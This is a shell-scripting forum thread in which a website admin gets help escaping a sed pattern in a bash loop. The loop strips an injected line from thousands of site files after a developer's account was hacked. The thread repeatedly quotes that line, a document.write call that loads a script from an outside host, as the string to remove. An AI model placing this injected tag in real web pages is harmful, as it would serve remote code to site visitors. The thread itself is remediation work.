Shell Programming and Scripting

Hi,

For years ive been using this script to do mass search & replaces on our websites. Its worked with all sorts of spaces, quotes, html or whatever with a little adjusting here and there. But I just cant get this pattern to work:

Code:

#!/bin/bash
OLDURL="document.write('<script src=http://bsrtechnologies.com/images/index1.php ><\/script>');"
NEWURL=""

for f in `cat filelist`; do
        cp  $f $f.churlbak
        sed "s|$OLDURL|$NEWURL|g" $f.churlbak > $f
done

Ive tried every way of quoting and escaping that I can think of but its just not working. This is the string im trying to match:

Code:

document.write('<script src=http://bsrtechnologies.com/images/index1.php ><\/script>');

Any ideas? I tried matching it in perl as well but im not really fluent in perl and ran into similar problems. TIA.

Perhaps you mean trying to match

Code:

document.write('<script src=http://bsrtechnologies.com/images/index1.php ></script>');

The statements in the files will probably not have an escape "/" ? I tried it and the matching seems to work.

If your file does contain

Code:

document.write('<script src=http://bsrtechnologies.com/images/index1.php ><\/script>');

you could use this:

Code:

OLDURL="document.write('<script src=http://bsrtechnologies.com/images/index1.php ><\\\/script>');"

It might be that the trouble lies in you filelist and your file names contain strange characters?
Perhaps this would make a difference?

Code:

while read f; do
   cp "$f" "$f.churlbak"
   sed "s|$OLDURL|$NEWURL|g" "$f.churlbak" > "$f"
done < filelist

Scrutinizer thank you so much...that was driving me crazy! One of our developers had their account hacked and someone uploaded thousands of files with various urls, the bsrtechnologies.com link being one of them.

They did have a \ in the string they inserted, but I was trying to get it working by only escaping it once. Escaping it twice like you mentioned worked great.

Now to go search why it needed to be escaped twice instead of just once.

Thanks again!
